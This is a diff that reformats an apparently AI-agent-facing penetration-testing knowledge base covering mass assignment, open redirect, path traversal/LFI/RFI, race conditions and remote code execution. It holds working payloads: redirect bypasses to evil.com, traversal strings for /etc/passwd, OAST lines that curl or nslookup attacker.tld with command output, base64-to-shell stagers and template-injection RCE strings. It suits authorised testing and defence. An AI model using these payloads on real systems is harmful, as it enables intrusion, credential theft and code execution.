-</false_positives>
 
-<impact>
+###### Impact
+
 - Privilege escalation and admin feature access
 - Cross-tenant or cross-account resource takeover
 - Financial/billing manipulation and quota abuse
 - Policy/approval bypass by toggling verification or status flags
-</impact>
 
-<pro_tips>
+###### Pro Tips
+
 1. Build a sensitive-field dictionary per resource and fuzz systematically.
 2. Always try alternate shapes and encodings; many validators are shape/CT-specific.
 3. For GraphQL, diff the resource immediately after mutation; effects are often visible even if the mutation returns filtered fields.
 4. Inspect SDKs/mobile apps for hidden field names and nested write examples.
 5. Prefer minimal PoCs that prove durable state changes; avoid UI-only effects.
-</pro_tips>
 
-<mitigations>
+###### Mitigations
+
 - Enforce server-side allowlists per operation and role; deny unknown fields by default
 - Separate input DTOs from domain models; map explicitly
 - Recompute derived fields (role/plan/owner) from trusted context; ignore client values
 - Lock nested writes to owned resources; validate foreign keys against caller scope
 - For GraphQL, use input types that expose only permitted fields and enforce resolver-level checks
-</mitigations>
 
-<remember>Mass assignment is eliminated by explicit mapping and per-field authorization. Treat every client-supplied attribute—especially nested or batch inputs—as untrusted until validated against an allowlist and caller scope.</remember>
-</mass_assignment_guide>
+###### Remember
+
+Mass assignment is eliminated by explicit mapping and per-field authorization. Treat every client-supplied attribute—especially nested or batch inputs—as untrusted until validated against an allowlist and caller scope.

strix/skills/vulnerabilities/open_redirect.md

@@ -1,169 +1,170 @@
-<open_redirect_vulnerability_guide>
-<title>OPEN REDIRECT</title>
+# OPEN REDIRECT
 
-<critical>Open redirects enable phishing, OAuth/OIDC code and token theft, and allowlist bypass in server-side fetchers that follow redirects. Treat every redirect target as untrusted: canonicalize and enforce exact allowlists per scheme, host, and path.</critical>
+## Critical
+
+Open redirects enable phishing, OAuth/OIDC code and token theft, and allowlist bypass in server-side fetchers that follow redirects. Treat every redirect target as untrusted: canonicalize and enforce exact allowlists per scheme, host, and path.
+
+## Scope
 
-<scope>
 - Server-driven redirects (HTTP 3xx Location) and client-driven redirects (window.location, meta refresh, SPA routers)
 - OAuth/OIDC/SAML flows using redirect_uri, post_logout_redirect_uri, RelayState, returnTo/continue/next
 - Multi-hop chains where only the first hop is validated
 - Allowlist/canonicalization bypasses across URL parsers and reverse proxies
-</scope>
 
-<methodology>
+## Methodology
+
 1. Inventory all redirect surfaces: login/logout, password reset, SSO/OAuth flows, payment gateways, email links, invite/verification, unsubscribe, language/locale switches, /out or /r redirectors.
 2. Build a test matrix of scheme×host×path variants and encoding/unicode forms. Compare server-side validation vs browser navigation results.
 3. Exercise multi-hop: trusted-domain → redirector → external. Verify if validation applies pre- or post-redirect.
 4. Prove impact: credential phishing, OAuth code interception, internal egress (if a server fetcher follows redirects).
-</methodology>
 
-<discovery_techniques>
-<injection_points>
+## Discovery Techniques
+
+### Injection Points
+
 - Params: redirect, url, next, return_to, returnUrl, continue, goto, target, callback, out, dest, back, to, r, u
 - OAuth/OIDC/SAML: redirect_uri, post_logout_redirect_uri, RelayState, state (if used to compute final destination)
 - SPA: router.push/replace, location.assign/href, meta refresh, window.open
 - Headers influencing construction: Host, X-Forwarded-Host/Proto, Referer; and server-side Location echo
-</injection_points>
 
-<parser_differentials>
-<userinfo>
+### Parser Differentials
+
+#### Userinfo
+
 https://trusted.com@evil.com → many validators parse host as trusted.com, browser navigates to evil.com
 Variants: trusted.com%40evil.com, a%40evil.com%40trusted.com
-</userinfo>
 
-<backslash_and_slashes>
+#### Backslash And Slashes
+
 https://trusted.com\\evil.com, https://trusted.com\\@evil.com, ///evil.com, /\\evil.com
 Windows/backends may normalize \\ to /; browsers differ on interpretation of extra leading slashes
-</backslash_and_slashes>
 
-<whitespace_and_ctrl>
+#### Whitespace And Ctrl
+
 http%09://evil.com, http%0A://evil.com, trusted.com%09evil.com
 Control/whitespace around the scheme/host can split parsers
-</whitespace_and_ctrl>
 
-<fragment_and_query>
+#### Fragment And Query
+
 trusted.com#@evil.com, trusted.com?//@evil.com, ?next=//evil.com#@trusted.com
 Validators often stop at # while the browser parses after it
-</fragment_and_query>
 
-<unicode_and_idna>
+#### Unicode And Idna
+
 Punycode/IDN: truѕted.com (Cyrillic), trusted.com。evil.com (full-width dot), trailing dot trusted.com.
 Test with mixed Unicode normalization and IDNA conversion
-</unicode_and_idna>
-</parser_differentials>
 
-<encoding_bypasses>
+### Encoding Bypasses
+
 - Double encoding: %2f%2fevil.com, %252f%252fevil.com
 - Mixed case and scheme smuggling: hTtPs://evil.com, http:evil.com
 - IP variants: decimal 2130706433, octal 0177.0.0.1, hex 0x7f.1, IPv6 [::ffff:127.0.0.1]
 - User-controlled path bases: /out?url=/\\evil.com
-</encoding_bypasses>
-</discovery_techniques>
 
-<allowlist_evasion>
-<common_mistakes>
+## Allowlist Evasion
+
+### Common Mistakes
+
 - Substring/regex contains checks: allows trusted.com.evil.com, or path matches leaking external
 - Wildcards: *.trusted.com also matches attacker.trusted.com.evil.net
 - Missing scheme pinning: data:, javascript:, file:, gopher: accepted
 - Case/IDN drift between validator and browser
-</common_mistakes>
 
-<robust_validation>
+### Robust Validation
+
 - Canonicalize with a single modern URL parser (WHATWG URL) and compare exact scheme, hostname (post-IDNA), and an explicit allowlist with optional exact path prefixes
 - Require absolute HTTPS; reject protocol-relative // and unknown schemes
 - Normalize and compare after following zero redirects only; if following, re-validate the final destination per hop server-side
-</robust_validation>
-</allowlist_evasion>
 
-<oauth_oidc_saml>
-<redirect_uri_abuse>
+## Oauth Oidc Saml
+
+### Redirect Uri Abuse
+
 - Using an open redirect on a trusted domain for redirect_uri enables code interception
 - Weak prefix/suffix checks: https://trusted.com → https://trusted.com.evil.com; /callback → /callback@evil.com
 - Path traversal/canonicalization: /oauth/../../@evil.com
 - post_logout_redirect_uri often less strictly validated; test both
 - state must be unguessable and bound to client/session; do not recompute final destination from state without validation
-</redirect_uri_abuse>
 
-<defense_notes>
+### Defense Notes
+
 - Pre-register exact redirect_uri values per client (no wildcards). Enforce exact scheme/host/port/path match
 - For public native apps, follow RFC guidance (loopback 127.0.0.1 with exact port handling); disallow open web redirectors
 - SAML RelayState should be validated against an allowlist or ignored for absolute URLs
-</defense_notes>
-</oauth_oidc_saml>
 
-<client_side_vectors>
-<javascript_redirects>
+## Client Side Vectors
+
+### Javascript Redirects
+
 - location.href/assign/replace using user input; ensure targets are normalized and restricted to same-origin or allowlist
 - meta refresh content=0;url=USER_INPUT; browsers treat javascript:/data: differently; still dangerous in client-controlled redirects
 - SPA routers: router.push(searchParams.get('next')); enforce same-origin and strip schemes
-</javascript_redirects>
 
-</client_side_vectors>
+## Reverse Proxies And Gateways
 
-<reverse_proxies_and_gateways>
 - Host/X-Forwarded-* may change absolute URL construction; validate against server-derived canonical origin, not client headers
 - CDNs that follow redirects for link checking or prefetching can leak tokens when chained with open redirects
-</reverse_proxies_and_gateways>
 
-<ssrf_chaining>
+## Ssrf Chaining
+
 - Some server-side fetchers (web previewers, link unfurlers, validators) follow 3xx; combine with an open redirect on an allowlisted domain to pivot to internal targets (169.254.169.254, localhost, cluster addresses)
 - Confirm by observing distinct error/timing for internal vs external, or OAST callbacks when reachable
-</ssrf_chaining>
 
-<framework_notes>
-<server_side>
+## Framework Notes
+
+### Server Side
+
 - Rails: redirect_to params[:url] without URI parsing; test array params and protocol-relative
 - Django: HttpResponseRedirect(request.GET['next']) without is_safe_url; relies on ALLOWED_HOSTS + scheme checks
 - Spring: return "redirect:" + param; ensure UriComponentsBuilder normalization and allowlist
 - Express: res.redirect(req.query.url); use a safe redirect helper enforcing relative paths or a vetted allowlist
-</server_side>
 
-<client_side>
+### Client Side
+
 - React/Next.js/Vue/Angular routing based on URLSearchParams; ensure same-origin policy and disallow external schemes in client code
-</client_side>
-</framework_notes>
 
-<exploitation_scenarios>
-<oauth_code_interception>
+## Exploitation Scenarios
+
+### Oauth Code Interception
+
 1. Set redirect_uri to https://trusted.example/out?url=https://attacker.tld/cb
 2. IdP sends code to trusted.example which redirects to attacker.tld
 3. Exchange code for tokens; demonstrate account access
-</oauth_code_interception>
 
-<phishing_flow>
+### Phishing Flow
+
 1. Send link on trusted domain: /login?next=https://attacker.tld/fake
 2. Victim authenticates; browser navigates to attacker page
 3. Capture credentials/tokens via cloned UI or injected JS
-</phishing_flow>
 
-<internal_evasion>
+### Internal Evasion
+
 1. Server-side link unfurler fetches https://trusted.example/out?u=http://169.254.169.254/latest/meta-data
 2. Redirect follows to metadata; confirm via timing/headers or controlled endpoints
-</internal_evasion>
-</exploitation_scenarios>
 
-<validation>
+## Validation
+
 1. Produce a minimal URL that navigates to an external domain via the vulnerable surface; include the full address bar capture.
 2. Show bypass of the stated validation (regex/allowlist) using canonicalization variants.
 3. Test multi-hop: prove only first hop is validated and second hop escapes constraints.
 4. For OAuth/SAML, demonstrate code/RelayState delivery to an attacker-controlled endpoint with role-separated evidence.
-</validation>
 
-<false_positives>
+## False Positives
+
 - Redirects constrained to relative same-origin paths with robust normalization
 - Exact pre-registered OAuth redirect_uri with strict verifier
 - Validators using a single canonical parser and comparing post-IDNA host and scheme
 - User prompts that show the exact final destination before navigating and refuse unknown schemes
-</false_positives>
 
-<impact>
+## Impact
+
 - Credential and token theft via phishing and OAuth/OIDC interception
 - Internal data exposure when server fetchers follow redirects (previewers/unfurlers)
 - Policy bypass where allowlists are enforced only on the first hop
 - Cross-application trust erosion and brand abuse
-</impact>
 
-<pro_tips>
+## Pro Tips
+
 1. Always compare server-side canonicalization to real browser navigation; differences reveal bypasses.
 2. Try userinfo, protocol-relative, Unicode/IDN, and IP numeric variants early; they catch many weak validators.
 3. In OAuth, prioritize post_logout_redirect_uri and less-discussed flows; they’re often looser.
@@ -171,7 +172,7 @@ Test with mixed Unicode normalization and IDNA conversion
 5. For SSRF chaining, target services known to follow redirects and log their outbound requests.
 6. Favor allowlists of exact origins plus optional path prefixes; never substring/regex contains checks.
 7. Keep a curated suite of redirect payloads per runtime (Java, Node, Python, Go) reflecting each parser’s quirks.
-</pro_tips>
 
-<remember>Redirection is safe only when the final destination is constrained after canonicalization. Enforce exact origins, verify per hop, and treat client-provided destinations as untrusted across every stack.</remember>
-</open_redirect_vulnerability_guide>
+## Remember
+
+Redirection is safe only when the final destination is constrained after canonicalization. Enforce exact origins, verify per hop, and treat client-provided destinations as untrusted across every stack.

strix/skills/vulnerabilities/path_traversal_lfi_rfi.md

@@ -1,142 +1,144 @@
-<path_traversal_lfi_rfi_guide>
-<title>PATH TRAVERSAL, LFI, AND RFI</title>
+# PATH TRAVERSAL, LFI, AND RFI
 
-<critical>Improper file path handling and dynamic inclusion enable sensitive file disclosure, config/source leakage, SSRF pivots, and code execution. Treat all user-influenced paths, names, and schemes as untrusted; normalize and bind them to an allowlist or eliminate user control entirely.</critical>
+## Critical
+
+Improper file path handling and dynamic inclusion enable sensitive file disclosure, config/source leakage, SSRF pivots, and code execution. Treat all user-influenced paths, names, and schemes as untrusted; normalize and bind them to an allowlist or eliminate user control entirely.
+
+## Scope
 
-<scope>
 - Path traversal: read files outside intended roots via ../, encoding, normalization gaps
 - Local File Inclusion (LFI): include server-side files into interpreters/templates
 - Remote File Inclusion (RFI): include remote resources (HTTP/FTP/wrappers) for code execution
 - Archive extraction traversal (Zip Slip): write outside target directory upon unzip/untar
 - Server/proxy normalization mismatches (nginx alias/root, upstream decoders)
 - OS-specific paths: Windows separators, device names, UNC, NT paths, alternate data streams
-</scope>
 
-<methodology>
+## Methodology
+
 1. Inventory all file operations: downloads, previews, templates, logs, exports/imports, report engines, uploads, archive extractors.
 2. Identify input joins: path joins (base + user), include/require/template loads, resource fetchers, archive extract destinations.
 3. Probe normalization and resolution: separators, encodings, double-decodes, case, trailing dots/slashes; compare web server vs application behavior.
 4. Escalate from disclosure (read) to influence (write/extract/include), then to execution (wrapper/engine chains).
-</methodology>
 
-<discovery_techniques>
-<surface_map>
+## Discovery Techniques
+
+### Surface Map
+
 - HTTP params: file, path, template, include, page, view, download, export, report, log, dir, theme, lang
 - Upload and conversion pipelines: image/PDF renderers, thumbnailers, office converters
 - Archive extract endpoints and background jobs; imports with ZIP/TAR/GZ/7z
 - Server-side template rendering (PHP/Smarty/Twig/Blade), email templates, CMS themes/plugins
 - Reverse proxies and static file servers (nginx, CDN) in front of app handlers
-</surface_map>
 
-<capability_probes>
+### Capability Probes
+
 - Path traversal baseline: ../../etc/hosts and C:\\Windows\\win.ini
 - Encodings: %2e%2e%2f, %252e%252e%252f, ..%2f, ..%5c, mixed UTF-8 (%c0%2e), Unicode dots and slashes
 - Normalization tests: ....//, ..\\, ././, trailing dot/double dot segments; repeated decoding
 - Absolute path acceptance: /etc/passwd, C:\\Windows\\System32\\drivers\\etc\\hosts
 - Server mismatch: /static/..;/../etc/passwd ("..;"), encoded slashes (%2F), double-decoding via upstream
-</capability_probes>
-</discovery_techniques>
 
-<detection_channels>
-<direct>
+## Detection Channels
+
+### Direct
+
 - Response body discloses file content (text, binary, base64); error pages echo real paths
-</direct>
 
-<error_based>
+### Error Based
+
 - Exception messages expose canonicalized paths or include() warnings with real filesystem locations
-</error_based>
 
-<oast>
+### Oast
+
 - RFI/LFI with wrappers that trigger outbound fetches (HTTP/DNS) to confirm inclusion/execution
-</oast>
 
-<side_effects>
+### Side Effects
+
 - Archive extraction writes files unexpectedly outside target; verify with directory listings or follow-up reads
-</side_effects>
-</detection_channels>
 
-<path_traversal>
-<bypasses_and_variants>
+## Path Traversal
+
+### Bypasses And Variants
+
 - Encodings: single/double URL-encoding, mixed case, overlong UTF-8, UTF-16, path normalization oddities
 - Mixed separators: / and \\ on Windows; // and \\\\ collapse differences across frameworks
 - Dot tricks: ....// (double dot folding), trailing dots (Windows), trailing slashes, appended valid extension
 - Absolute path injection: bypass joins by supplying a rooted path
 - Alias/root mismatch (nginx): alias without trailing slash with nested location allows ../ to escape; try /static/../etc/passwd and ";" variants (..;)
 - Upstream vs backend decoding: proxies/CDNs decoding %2f differently; test double-decoding and encoded dots
-</bypasses_and_variants>
 
-<high_value_targets>
+### High Value Targets
+
 - /etc/passwd, /etc/hosts, application .env/config.yaml, SSH/keys, cloud creds, service configs/logs
 - Windows: C:\\Windows\\win.ini, IIS/web.config, programdata configs, application logs
 - Source code templates and server-side includes; secrets in env dumps
-</high_value_targets>
-</path_traversal>
 
-<lfi>
-<wrappers_and_techniques>
+## Lfi
+
+### Wrappers And Techniques
+
 - PHP wrappers: php://filter/convert.base64-encode/resource=index.php (read source), zip://archive.zip#file.txt, data://text/plain;base64, expect:// (if enabled)
 - Log/session poisoning: inject PHP/templating payloads into access/error logs or session files then include them (paths vary by stack)
 - Upload temp names: include temporary upload files before relocation; race with scanners
 - /proc/self/environ and framework-specific caches for readable secrets
 - Null-byte (legacy): %00 truncation in older stacks; path length truncation tricks
-</wrappers_and_techniques>
 
-<template_engines>
+### Template Engines
+
 - PHP include/require; Smarty/Twig/Blade with dynamic template names
 - Java/JSP/FreeMarker/Velocity; Node.js ejs/handlebars/pug engines
 - Seek dynamic template resolution from user input (theme/lang/template)
-</template_engines>
-</lfi>
 
-<rfi>
-<conditions>
+## Rfi
+
+### Conditions
+
 - Remote includes (allow_url_include/allow_url_fopen in PHP), custom fetchers that eval/execute retrieved content, SSRF-to-exec bridges
 - Protocol handlers: http, https, ftp; language-specific stream handlers
-</conditions>
 
-<exploitation>
+### Exploitation
+
 - Host a minimal payload that proves code execution; prefer OAST beacons or deterministic output over heavy shells
 - Chain with upload or log poisoning when remote includes are disabled to reach local payloads
-</exploitation>
-</rfi>
 
-<archive_extraction>
-<zip_slip>
+## Archive Extraction
+
+### Zip Slip
+
 - Files within archives containing ../ or absolute paths escape target extract directory
 - Test multiple formats: zip/tar/tgz/7z; verify symlink handling and path canonicalization prior to write
 - Impact: overwrite config/templates or drop webshells into served directories
-</zip_slip>
-</archive_extraction>
 
-<validation>
+## Validation
+
 1. Show a minimal traversal read proving out-of-root access (e.g., /etc/hosts) with a same-endpoint in-root control.
 2. For LFI, demonstrate inclusion of a benign local file or harmless wrapper output (php://filter base64 of index.php); avoid active code when not permitted.
 3. For RFI, prove remote fetch by OAST or controlled output; avoid destructive payloads.
 4. For Zip Slip, create an archive with ../ entries and show write outside target (e.g., marker file read back).
 5. Provide before/after file paths, exact requests, and content hashes/lengths for reproducibility.
-</validation>
 
-<false_positives>
+## False Positives
+
 - In-app virtual paths that do not map to filesystem; content comes from safe stores (DB/object storage)
 - Canonicalized paths constrained to an allowlist/root after normalization
 - Wrappers disabled and includes using constant templates only
 - Archive extractors that sanitize paths and enforce destination directories
-</false_positives>
 
-<impact>
+## Impact
+
 - Sensitive configuration/source disclosure → credential and key compromise
 - Code execution via inclusion of attacker-controlled content or overwritten templates
 - Persistence via dropped files in served directories; lateral movement via revealed secrets
 - Supply-chain impact when report/template engines execute attacker-influenced files
-</impact>
 
-<pro_tips>
+## Pro Tips
+
 1. Compare content-length/ETag when content is masked; read small canonical files (hosts) to avoid noise.
 2. Test proxy/CDN and app separately; decoding/normalization order differs, especially for %2f and %2e encodings.
 3. For LFI, prefer php://filter base64 probes over destructive payloads; enumerate readable logs and sessions.
 4. Validate extraction code with synthetic archives; include symlinks and deep ../ chains.
 5. Use minimal PoCs and hard evidence (hashes, paths). Avoid noisy DoS against filesystems.
-</pro_tips>
 
-<remember>Eliminate user-controlled paths where possible. Otherwise, resolve to canonical paths and enforce allowlists, forbid remote schemes, and lock down interpreters and extractors. Normalize consistently at the boundary closest to IO.</remember>
-</path_traversal_lfi_rfi_guide>
+## Remember
+
+Eliminate user-controlled paths where possible. Otherwise, resolve to canonical paths and enforce allowlists, forbid remote schemes, and lock down interpreters and extractors. Normalize consistently at the boundary closest to IO.

strix/skills/vulnerabilities/race_conditions.md

@@ -1,38 +1,41 @@
-<race_conditions_guide>
-<title>RACE CONDITIONS</title>
+# RACE CONDITIONS
 
-<critical>Concurrency bugs enable duplicate state changes, quota bypass, financial abuse, and privilege errors. Treat every read–modify–write and multi-step workflow as adversarially concurrent.</critical>
+## Critical
+
+Concurrency bugs enable duplicate state changes, quota bypass, financial abuse, and privilege errors. Treat every read–modify–write and multi-step workflow as adversarially concurrent.
+
+## Scope
 
-<scope>
 - Read–modify–write sequences without atomicity or proper locking
 - Multi-step operations (check → reserve → commit) with gaps between phases
 - Cross-service workflows (sagas, async jobs) with eventual consistency
 - Rate limits, quotas, and idempotency controls implemented at the edge only
-</scope>
 
-<methodology>
+## Methodology
+
 1. Model invariants for each workflow (e.g., conservation of value, uniqueness, maximums). Identify reads and writes and where they occur (service, DB, cache).
 2. Establish a baseline with single requests. Then issue concurrent requests with identical inputs. Observe deltas in state and responses.
 3. Scale and synchronize: ramp up parallelism, switch transports (HTTP/1.1, HTTP/2), and align request timing (last-byte sync, warmed connections).
 4. Repeat across channels (web, API, GraphQL, WebSocket) and roles. Confirm durability and reproducibility.
-</methodology>
 
-<discovery_techniques>
-<identify_race_windows>
+## Discovery Techniques
+
+### Identify Race Windows
+
 - Look for explicit sequences in code or docs: "check balance then deduct", "verify coupon then apply", "check inventory then purchase", "validate token then consume"
 - Watch for optimistic concurrency markers: ETag/If-Match, version fields, updatedAt checks; test if they are enforced
 - Examine idempotency-key support: scope (path vs principal), TTL, and persistence (cache vs DB)
 - Map cross-service steps: when is state written vs published, and what retries/compensations exist
-</identify_race_windows>
 
-<signals>
+### Signals
+
 - Sequential request fails but parallel succeeds
 - Duplicate rows, negative counters, over-issuance, or inconsistent aggregates
 - Distinct response shapes/timings for simultaneous vs sequential requests
 - Audit logs out of order; multiple 2xx for the same intent; missing or duplicate correlation IDs
-</signals>
 
-<surface_map>
+### Surface Map
+
 - Payments: auth/capture/refund/void; credits/loyalty points; gift cards
 - Coupons/discounts: single-use codes, stacking checks, per-user limits
 - Quotas/limits: API usage, inventory reservations, seat counts, vote limits
@@ -40,114 +43,113 @@
 - File/object storage: multi-part finalize, version writes, share-link generation
 - Background jobs: export/import create/finalize endpoints; job cancellation/approve
 - GraphQL mutations and batch operations; WebSocket actions
-</surface_map>
-</discovery_techniques>
 
-<exploitation_techniques>
-<request_synchronization>
+## Exploitation Techniques
+
+### Request Synchronization
+
 - HTTP/2 multiplexing for tight concurrency; send many requests on warmed connections
 - Last-byte synchronization: hold requests open and release final byte simultaneously
 - Connection warming: pre-establish sessions, cookies, and TLS to remove jitter
-</request_synchronization>
 
-<idempotency_and_dedup_bypass>
+### Idempotency And Dedup Bypass
+
 - Reuse the same idempotency key across different principals/paths if scope is inadequate
 - Hit the endpoint before the idempotency store is written (cache-before-commit windows)
 - App-level dedup drops only the response while side effects (emails/credits) still occur
-</idempotency_and_dedup_bypass>
 
-<atomicity_gaps>
+### Atomicity Gaps
+
 - Lost update: read-modify-write increments without atomic DB statements
 - Partial two-phase workflows: success committed before validation completes
 - Unique checks done outside a unique index/upsert: create duplicates under load
-</atomicity_gaps>
 
-<cross_service_races>
+### Cross Service Races
+
 - Saga/compensation timing gaps: execute compensation without preventing the original success path
 - Eventual consistency windows: act in Service B before Service A's write is visible
 - Retry storms: duplicate side effects due to at-least-once delivery without idempotent consumers
-</cross_service_races>
 
-<rate_limits_and_quotas>
+### Rate Limits And Quotas
+
 - Per-IP or per-connection enforcement: bypass with multiple IPs/sessions
 - Counter updates not atomic or sharded inconsistently; send bursts before counters propagate
-</rate_limits_and_quotas>
-</exploitation_techniques>
 
-<advanced_techniques>
-<optimistic_concurrency_evasion>
+## Advanced Techniques
+
+### Optimistic Concurrency Evasion
+
 - Omit If-Match/ETag where optional; supply stale versions if server ignores them
 - Version fields accepted but not validated across all code paths (e.g., GraphQL vs REST)
-</optimistic_concurrency_evasion>
 
-<database_isolation>
+### Database Isolation
+
 - Exploit READ COMMITTED/REPEATABLE READ anomalies: phantoms, non-serializable sequences
 - Upsert races: use unique indexes with proper ON CONFLICT/UPSERT or exploit naive existence checks
 - Lock granularity issues: row vs table; application locks held only in-process
-</database_isolation>
 
-<distributed_locks>
+### Distributed Locks
+
 - Redis locks without NX/EX or fencing tokens allow multiple winners
 - Locks stored in memory on a single node; bypass by hitting other nodes/regions
-</distributed_locks>
-</advanced_techniques>
 
-<bypass_techniques>
+## Bypass Techniques
+
 - Distribute across IPs, sessions, and user accounts to evade per-entity throttles
 - Switch methods/content-types/endpoints that trigger the same state change via different code paths
 - Intentionally trigger timeouts to provoke retries that cause duplicate side effects
 - Degrade the target (large payloads, slow endpoints) to widen race windows
-</bypass_techniques>
 
-<special_contexts>
-<graphql>
+## Special Contexts
+
+### Graphql
+
 - Parallel mutations and batched operations may bypass per-mutation guards; ensure resolver-level idempotency and atomicity
 - Persisted queries and aliases can hide multiple state changes in one request
-</graphql>
 
-<websocket>
+### Websocket
+
 - Per-message authorization and idempotency must hold; concurrent emits can create duplicates if only the handshake is checked
-</websocket>
 
-<files_and_storage>
+### Files And Storage
+
 - Parallel finalize/complete on multi-part uploads can create duplicate or corrupted objects; re-use pre-signed URLs concurrently
-</files_and_storage>
 
-<auth_flows>
+### Auth Flows
+
 - Concurrent consumption of one-time tokens (reset codes, magic links) to mint multiple sessions; verify consume is atomic
-</auth_flows>
-</special_contexts>
 
-<chaining_attacks>
+## Chaining Attacks
+
 - Race + Business logic: violate invariants (double-refund, limit slicing)
 - Race + IDOR: modify or read others' resources before ownership checks complete
 - Race + CSRF: trigger parallel actions from a victim to amplify effects
 - Race + Caching: stale caches re-serve privileged states after concurrent changes
-</chaining_attacks>
 
-<validation>
+## Validation
+
 1. Single request denied; N concurrent requests succeed where only 1 should.
 2. Durable state change proven (ledger entries, inventory counts, role/flag changes).
 3. Reproducible under controlled synchronization (HTTP/2, last-byte sync) across multiple runs.
 4. Evidence across channels (e.g., REST and GraphQL) if applicable.
 5. Include before/after state and exact request set used.
-</validation>
 
-<false_positives>
+## False Positives
+
 - Truly idempotent operations with enforced ETag/version checks or unique constraints
 - Serializable transactions or correct advisory locks/queues
 - Visual-only glitches without durable state change
 - Rate limits that reject excess with atomic counters
-</false_positives>
 
-<impact>
+## Impact
+
 - Financial loss (double spend, over-issuance of credits/refunds)
 - Policy/limit bypass (quotas, single-use tokens, seat counts)
 - Data integrity corruption and audit trail inconsistencies
 - Privilege or role errors due to concurrent updates
-</impact>
 
-<pro_tips>
+## Pro Tips
+
 1. Favor HTTP/2 with warmed connections; add last-byte sync for precision.
 2. Start small (N=5–20), then scale; too much noise can mask the window.
 3. Target read–modify–write code paths and endpoints with idempotency keys.
@@ -158,7 +160,7 @@
 8. Widen windows by adding server load or slow backend dependencies.
 9. Validate on production-like latency; some races only appear under real load.
 10. Document minimal, repeatable request sets that demonstrate durable impact.
-</pro_tips>
 
-<remember>Concurrency safety is a property of every path that mutates state. If any path lacks atomicity, proper isolation, or idempotency, parallel requests will eventually break invariants.</remember>
-</race_conditions_guide>
+## Remember
+
+Concurrency safety is a property of every path that mutates state. If any path lacks atomicity, proper isolation, or idempotency, parallel requests will eventually break invariants.

strix/skills/vulnerabilities/rce.md

@@ -1,146 +1,148 @@
-<rce_vulnerability_guide>
-<title>REMOTE CODE EXECUTION (RCE)</title>
+# REMOTE CODE EXECUTION (RCE)
 
-<critical>RCE leads to full server control when input reaches code execution primitives: OS command wrappers, dynamic evaluators, template engines, deserializers, media pipelines, and build/runtime tooling. Focus on quiet, portable oracles and chain to stable shells only when needed.</critical>
+## Critical
+
+RCE leads to full server control when input reaches code execution primitives: OS command wrappers, dynamic evaluators, template engines, deserializers, media pipelines, and build/runtime tooling. Focus on quiet, portable oracles and chain to stable shells only when needed.
+
+## Scope
 
-<scope>
 - OS command execution via wrappers (shells, system utilities, CLIs)
 - Dynamic evaluation: template engines, expression languages, eval/vm
 - Insecure deserialization and gadget chains across languages
 - Media/document toolchains (ImageMagick, Ghostscript, ExifTool, LaTeX, ffmpeg)
 - SSRF→internal services that expose execution primitives (FastCGI, Redis)
 - Container/Kubernetes escalation from app RCE to node/cluster compromise
-</scope>
 
-<methodology>
+## Methodology
+
 1. Identify sinks: search for command wrappers, template rendering, deserialization, file converters, report generators, and plugin hooks.
 2. Establish a minimal oracle: timing, DNS/HTTP callbacks, or deterministic output diffs (length/ETag). Prefer OAST over noisy time sleeps.
 3. Confirm context: which user, working directory, PATH, shell, SELinux/AppArmor, containerization, read/write locations, outbound egress.
 4. Progress to durable control: file write, scheduled execution, service restart hooks; avoid loud reverse shells unless necessary.
-</methodology>
 
-<detection_channels>
-<time_based>
+## Detection Channels
+
+### Time Based
+
 - Unix: ;sleep 1 | `sleep 1` || sleep 1; gate delays with short subcommands to reduce noise
 - Windows CMD/PowerShell: & timeout /t 2 & | Start-Sleep -s 2 | ping -n 2 127.0.0.1
-</time_based>
 
-<oast>
-- DNS: {% raw %}nslookup $(whoami).x.attacker.tld{% endraw %} or {% raw %}curl http://$(id -u).x.attacker.tld{% endraw %}
-- HTTP beacon: {% raw %}curl https://attacker.tld/$(hostname){% endraw %} (or fetch to pre-signed URL)
-</oast>
+### Oast
+
+- DNS: `nslookup $(whoami).x.attacker.tld` or `curl http://$(id -u).x.attacker.tld`
+- HTTP beacon: `curl https://attacker.tld/$(hostname)` (or fetch to pre-signed URL)
+
+### Output Based
 
-<output_based>
 - Direct: ;id;uname -a;whoami
 - Encoded: ;(id;hostname)|base64; hex via xxd -p
-</output_based>
-</detection_channels>
 
-<command_injection>
-<delimiters_and_operators>
+## Command Injection
+
+### Delimiters And Operators
+
 - ; | || & && `cmd` $(cmd) $() ${IFS} newline/tab; Windows: & | || ^
-</delimiters_and_operators>
 
-<argument_injection>
+### Argument Injection
+
 - Inject flags/filenames into CLI arguments (e.g., --output=/tmp/x; --config=); break out of quoted segments by alternating quotes and escapes
 - Environment expansion: $PATH, ${HOME}, command substitution; Windows %TEMP%, !VAR!, PowerShell $(...)
-</argument_injection>
 
-<path_and_builtin_confusion>
+### Path And Builtin Confusion
+
 - Force absolute paths (/usr/bin/id) vs relying on PATH; prefer builtins or alternative tools (printf, getent) when id is filtered
 - Use sh -c or cmd /c wrappers to reach the shell even if binaries are filtered
-</path_and_builtin_confusion>
 
-<evasion>
+### Evasion
+
 - Whitespace/IFS: ${IFS}, $'\t', <; case/Unicode variations; mixed encodings; backslash line continuations
 - Token splitting: w'h'o'a'm'i, w"h"o"a"m"i; build via variables: a=i;b=d; $a$b
 - Base64/hex stagers: echo payload | base64 -d | sh; PowerShell: IEX([Text.Encoding]::UTF8.GetString([Convert]::FromBase64String(...)))
-</evasion>
-</command_injection>
 
-<template_injection>
+## Template Injection
+
 - Identify server-side template engines: Jinja2/Twig/Blade/Freemarker/Velocity/Thymeleaf/EJS/Handlebars/Pug
 - Move from expression to code execution primitives (read file, run command)
 - Minimal probes:
-{% raw %}
+```
 Jinja2: {{7*7}} → {{cycler.__init__.__globals__['os'].popen('id').read()}}
 Twig: {{7*7}} → {{_self.env.registerUndefinedFilterCallback('system')}}{{_self.env.getFilter('id')}}
 Freemarker: ${7*7} → <#assign ex="freemarker.template.utility.Execute"?new()>${ ex("id") }
 EJS: <%= global.process.mainModule.require('child_process').execSync('id') %>
-{% endraw %}
-</template_injection>
+```
+
+## Deserialization And El
 
-<deserialization_and_el>
 - Java: gadget chains via CommonsCollections/BeanUtils/Spring; tools: ysoserial; JNDI/LDAP chains (Log4Shell-style) when lookups are reachable
 - .NET: BinaryFormatter/DataContractSerializer/APIs that accept untrusted ViewState without MAC
 - PHP: unserialize() and PHAR metadata; autoloaded gadget chains in frameworks and plugins
 - Python/Ruby: pickle, yaml.load/unsafe_load, Marshal; seek auto-deserialization in message queues/caches
 - Expression languages: OGNL/SpEL/MVEL/EL; reach Runtime/ProcessBuilder/exec
-</deserialization_and_el>
 
-<media_and_document_pipelines>
+## Media And Document Pipelines
+
 - ImageMagick/GraphicsMagick: policy.xml may limit delegates; still test legacy vectors and complex file formats
-{% raw %}
+```
